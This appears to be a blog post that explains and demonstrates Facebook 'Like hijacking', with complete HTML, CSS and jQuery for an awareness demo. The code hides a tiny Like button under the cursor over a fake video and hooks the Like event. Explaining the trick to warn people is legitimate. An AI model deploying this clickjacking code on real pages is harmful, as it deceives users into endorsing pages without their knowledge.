Wise up your friends - Facebook Like Hijacking with jQuery

'Like Hijacking' is a common way to fool people on Facebook. Given that you are a Webworker it is unlikely that you fall for it. We know that the Internet is an evil place and you should have a good amount of skepticism when leaving FB and visiting a 3rd party website. Especially if it screams 'Dumb Social Engineering' and if it is packed with advertisement.

Unfortunately a lot of people, including your friends, can be tricked using this method. I hate it to see them fooled, and even more if the 3rd party website have a ridiculous title. Sure, we could just filter out links, but then we also sort out links of interest plus we just solved our problem.

Telling non-techies to be skeptical all the time is tough. They do not understand what is going on behind the scene, so they (some) will fall for it over and over. That is why you as informed individual need to wise them up. Instead of a crazy video you show them some description and instructions how to avoid being fooled (if a video is not embedded in Facebook it is probably a trap).

How this method works

The method is super simple, that is why it works just as good. You place an almost invisible part of the 'Like Button' under the mouse. If the mouse moves you update the position. No matter what you do, you will click 'Like' (you need to be logged into FB, but there are good chances you are because you are following a link recommendation).

Next we register a callback in the FB.Event namespace that is triggered when somebody clicked 'Like'. Here we can just send the click to the targeting object or do whatever we want. People will think everything is fine, but they already liked a website without knowing.

HTML

<div id="likejacking">
  <img id="fakevideo" src="/images/jlh_yayquery.png" alt="yayQuery Episode 15" width="100%" />
  
  <div id="fbframe">
    <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script><fb:like href="http://quickie.github.com/jquery-facebook-like-hijacking/" show_faces="false" width="450" font=""></fb:like>
  </div>
  
  <a id="toggleevil" href="#show-like-button">Show the Facebook Like Button</a>
</div>

CSS

#likejacking { position: relative; }
#likejacking img { cursor: pointer; margin-bottom: 10px; }
#fbframe { width: 2px; height: 2px; overflow: hidden; position: absolute; top: 0; left: 0; }
#toggleevil { background: #222; color: white; font-size: 1.3em; padding: 5px 15px; text-decoration: none; }
#toggleevil:hover { background: black; }
#warning { padding: 20px 20px; margin-top: 20px; border: 3px dotted red; }
#warning h3 { font-size: 2.4em; padding-bottom: 8px; }
#warning p { font-size: 1.4em; line-height: 1.5em; }
#warning a { color: black; background: #79B556; padding: 3px 5px; text-decoration: none; }
#punked { font-size: 1.4em; padding: 50px; }
#punked h1 { font-size: 6em; }

Javascript

$(document).ready(function() {
  var img       = $('#likejacking img'),
      imgOffset = img.offset(),
      imgTop    = imgOffset.top,
      imgLeft   = imgOffset.left,
      fbframe   = $('#fbframe');

  img.mousemove(function(event) {
    fbframe.css({
      top : event.pageY - imgTop,
      left: event.pageX - imgLeft
    });
  });

  $('#toggleevil').toggle(function() {
    $(this).text('Hide the Facebook Like Button');
    fbframe.width('auto').height(26);
  }, function() {
    $(this).text('Show the Facebook Like Button');
    fbframe.width(2).height(2);
  });

  //register a callback after Like is created
  FB.Event.subscribe('edge.create', function() {
    $.fancybox('<div id="punked"><h1>Punked!</h1><p>Unlike if you want: <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script><fb:like href="http://quickie.github.com/jquery-facebook-like-hijacking/" show_faces="false" width="450" font=""></fb:like></p></div>', {
      scrolling: false
    });
  });
});
Q